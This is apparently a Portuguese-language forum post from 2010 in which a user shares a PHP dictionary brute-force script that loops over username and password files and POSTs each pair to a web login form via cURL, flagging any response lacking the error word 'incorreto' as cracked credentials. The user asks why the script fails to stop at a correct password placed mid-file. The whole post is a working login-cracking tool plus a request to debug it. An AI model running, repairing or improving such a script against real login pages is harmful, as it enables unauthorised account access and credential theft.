$dic_usuario = "u.txt"; $dic_senha = "s.txt"; $url_http = "http://servidor/login.php"; $nome_campo_usuario = "LOGIN"; $nome_campo_senha = "PASSWD"; $palavra_erro_autenticacao = "incorreto"; $crackeado = FALSE; $fhu = fopen ($dic_usuario, "r" ); $fhs = fopen ($dic_senha, "r" ); while ( $usuario = fgets ( $fhu, 1024 ) ) { while ( $senha = fgets ( $fhs, 1024 ) ) { $crack_form = curl_init(); curl_setopt ( $crack_form, CURLOPT_URL, $url_http ); curl_setopt ( $crack_form, CURLOPT_POST, TRUE ); curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, $nome_campo_usuario."=".$usuario."&".$nome_campo_senha."=".$senha); curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE ); $conteudo_pagina = curl_exec ( $crack_form ); $resultado = eregi ( $palavra_erro_autenticacao, $conteudo_pagina ); if ( $resultado == 0 ) { echo "<br><center>usuario: <b>$usuario</b> e a senha: <b>$senha</b </center>"; $crackeado = TRUE; break; } } rewind( $fhs ); } if($crackeado == FALSE) { echo "<center>Nao foi possivel encontrar a combinhacao usuario / senha.</center>"; } curl_close($crack_form); fclose ( $fhu ); fclose ( $fhs );
quando eu carrego a senha certa misturada entre o inicio e o fim do arquivo p.txt,
ele não para na senha certa, e então passa batido
só me volta a senha quando está na última linha do arquivo, porque motivo não está parando no if do resultado
já que tem um break; ali ?
Edição feita por: Xapolino, 08/11/2010, 09:05.